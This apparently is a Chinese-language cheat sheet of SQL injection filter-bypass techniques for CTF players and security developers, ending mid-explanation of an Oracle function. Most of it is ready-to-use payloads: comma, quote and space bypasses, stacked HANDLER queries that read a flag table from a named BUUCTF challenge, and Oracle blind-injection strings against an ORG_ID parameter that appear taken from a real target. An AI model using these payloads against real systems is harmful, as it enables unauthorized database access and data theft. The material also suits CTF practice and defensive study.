实战中手工注入情况并不多,大多数是简单的手工+工具。唉,人生苦短,即使用sqlmap!
也有一些兄弟要搞安全开发和ctf比赛的,这里就分享一些干货。
. 过滤与绕过
过滤 逗号(使用from或者offset): 当有些操作例如substr("abc",1,2),需要逗号
select substr(database(),1,1)
select substr(database() from 1 for 1)
select mid(database() from 1 for 1)
引号绕过(使用十六进制):
union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
绕过空格(注释符/**/,%a0)
括号绕过空格
双写
过滤符号<>
用between and来进行绕过 between a and c :返回a和c之间的数据
使用括号绕过空格
?id=1'and(1=1)--+
过滤select,并且存在堆注
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
实例 BUUCTF---[GYCTF2020]Blacklist1
1';use supersqli;show columns from `FlagHere` #
SQL注入手法:
payload:ORG_ID=40119439||1/(decode(INSTR(user,'T',1),1,1,'x'))||1
payload:ORG_ID=40119439||1/(decode(INSTR(user,'E',2),2,1,'x'))||1
注释: decode 的功能相当于 if,
作用是判断第一个值是否等于第二(四、六。。)个值,是的话就返回第三个值(5,7),否则为最后一个值
INSTR(C1,C2,I,J) 在一个字符串中搜索指定的字符,返回发现指定的字符的位置;
C1 被搜索的字符串
C2 希望搜索的字符串